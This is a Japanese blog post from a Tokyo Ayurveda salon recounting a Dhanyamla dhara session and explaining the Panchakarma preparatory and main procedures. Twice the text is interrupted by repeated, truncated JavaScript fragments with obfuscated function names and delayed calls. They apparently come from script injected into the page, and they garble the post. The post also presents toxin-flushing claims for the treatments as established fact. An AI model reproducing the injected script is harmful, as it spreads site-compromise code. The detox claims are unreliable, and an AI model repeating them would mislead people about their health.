パンチャカルマ第5回 ダンニャムラダラー

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
さあ、パンチャカルマの後半、二つ目の施術は、
「ダンニャムラダラー」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
これも、ナバラキリと同じく、
オイルではなく、ハーブの薬液を使った施術です。
その薬液って言うのが、穀物などを発酵させて作る薬液で
なんていうか、古漬け?の匂いなんです!!
懐かしい感じと言うか、おいしそうと言うか。
発酵させてるために、漬物っぽい匂いなんだと思うんですけど、
私は、ちょっと酸味の出た漬物とかが大好きなので、
おなかがすくいい匂いだったけど、苦手な人はつらいかも…
「ダンニャムラダラー」は、この薬液を温めて
ひたすら体にかけ続けるという施術です。
方法としては、「ピリチリ」と同じ。
漬物臭のする液体をかけて、回収して、温めて、またかける。
これだけなのに、体が温まって汗が出てくるんですよ!!
一体、なんなんでしょう!?どうなってるんでしょうか?
まさに、インドの神秘!ってホントに思いました。(笑)
最初は、ちょっと肌にピリピリした刺激があって
大丈夫かな?と思ったりもしましたが、
やっていくうちに気にならなくなりました。
別に痛いわけじゃないし、「良薬口に苦し」じゃないけど、
これで、私の体がどうにかなるんだったら!って感じ。
では、ここでパンチャカルマのおさらい。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
前回説明した「ナバラキリ」と、この「ダンニャムラダラー」、
こちらは、「ピリチリ」や「シロダラー」と同じ
パンチャカルマの「前処置」なんです。
実は本来、パンチャカルマというのは、
パンチャ=「5」、カルマ=「行為」と言う意味で、
5つの行為のことのみを指しています。
それが「中心処置」と呼ばれる、排出・浄化の最終プロセス。
(前半の「ナスヤ」が、その1つ)
でも、いきなり、この5つの中心処置をしても、
体に負担がかかるだけで、思うように毒素を出すことは出来ません。
そこで、パンチャカルマで、しっかり毒素を出し切るために、
体を整え、前準備をしておく必要があるんですね。
それが「前処置」というわけ。
そのため、パンチャカルマには
本来、1か月ほどかけるのがベストだと言われています。
そのプロセスとは…
まず第一の「前処置」は施術ではなく、生活改善です。
規則正しい生活、栄養十分な食事、精神の安定など
悪い生活習慣を改め、心身ともに負担がかからない生活を
送るように心がけます。
これが「消化法(アーマパーチャナ)」。
そして、施術としての前処置は、体質や状態によって
いろんな種類がありますが、大きく分けて2種類に分けられます。
それが「油剤法」と「発汗法」。
油剤法とは、オイルを使って、体内の油性毒素を溶かしだす施術。
アヴィヤンガ(オイルマッサージ)、シロダラーなどがこれ。
また、発汗法は、汗や水性毒素を排出させるための施術で
ピリチリやナバラキリがそう。
人間の毒素にも、油性と水性のものがあるので、
それぞれをうまく組み合わせて、心身に溜まった毒素を
全部、はがしていくんですね。
こうした前処置で、体の中心に毒素を集めたところで、
排出・浄化するための「中心処置」を行います。
この中心処置が、本来「パンチャカルマ」と言われる、
5つの行為を指しているのです。
実は、最後のトリートメント「バスティ」が、
その5つの中心処置のうちの1つ。
パンチャカルマの中でも1番強力に効くと言われる処置なんです。
でも、やってみると…それは、なかなか大変なものでした。
あれを我慢するのが…ね…
では、また次回!
続く・・
アーユルヴェーダサロンmanas 《マナス》

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